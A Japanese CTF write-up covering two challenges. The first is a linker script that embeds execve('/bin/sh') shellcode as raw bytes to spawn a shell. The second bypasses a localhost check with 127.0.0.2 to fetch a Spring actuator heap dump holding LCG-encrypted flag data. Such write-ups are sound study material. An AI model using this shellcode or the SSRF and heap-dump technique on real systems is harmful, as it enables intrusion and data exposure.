5/15 - 5/16という日程で開催された。zer0ptsで参加して5位。
[Misc] Linker Chess
以下のように、hello.c は編集できないけどリンカースクリプトは編集できるのでなんとかしてシェルを起動させろという問題。
#!/bin/sh set -ev sed '/^EOF/Q' > script.ld cat > hello.c << EOF #include <stdio.h> #include <stdlib.h> int main() { printf("Hello, world!\n"); exit(0); } EOF gcc -c hello.c -o hello.o ld -T script.ld hello.o -o hello /usr/lib/x86_64-linux-gnu/libc.so -dynamic-linker /lib64/ld-linux-x86-64.so.2 ./hello
実は既出ネタ。Hello, world!の代わりにシェルコードを仕込もう。
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(main)
SECTIONS
{
. = 0x400000;
.text : {
main = .;
BYTE(0x6a);BYTE(0x68);BYTE(0x48);BYTE(0xb8);BYTE(0x2f);BYTE(0x62);BYTE(0x69);BYTE(0x6e);BYTE(0x2f);BYTE(0x2f);BYTE(0x2f);BYTE(0x73);BYTE(0x50);BYTE(0x48);BYTE(0x89);BYTE(0xe7);BYTE(0x68);BYTE(0x72);BYTE(0x69);BYTE(0x1);BYTE(0x1);BYTE(0x81);BYTE(0x34);BYTE(0x24);BYTE(0x1);BYTE(0x1);BYTE(0x1);BYTE(0x1);BYTE(0x31);BYTE(0xf6);BYTE(0x56);BYTE(0x6a);BYTE(0x8);BYTE(0x5e);BYTE(0x48);BYTE(0x1);BYTE(0xe6);BYTE(0x56);BYTE(0x48);BYTE(0x89);BYTE(0xe6);BYTE(0x31);BYTE(0xd2);BYTE(0x6a);BYTE(0x3b);BYTE(0x58);BYTE(0xf);BYTE(0x5);
}
}
[Web, Crypto] Hotlinker
ジャバ。jar をJava Decompilerに投げてやるとデコンパイルできる。BOOT-INF/classes/ctf/tfns/hotlinker/webui/upload/UploadService.java を見るとどうやらURLのホスト名部分が localhost でないか確認しているようだが、127.0.0.2 とかでバイパスできる。
/* */ private boolean notLocalhost(URL hostPart) throws MalformedURLException { /* 83 */ return !hostPart.equals(new URL(hostPart.getProtocol() + "://localhost")); /* */ }
http://127.0.0.2:18080/actuator/heapdump から暗号化されたフラグを含むヒープダンプが得られる。これはEclipseのMemory Analyzerで解析できる。フラグはLCGを使って暗号化されていて、関連するパラメータもヒープダンプに含まれている。ふるつきさんに投げると一瞬でフラグが返ってきた。すごい。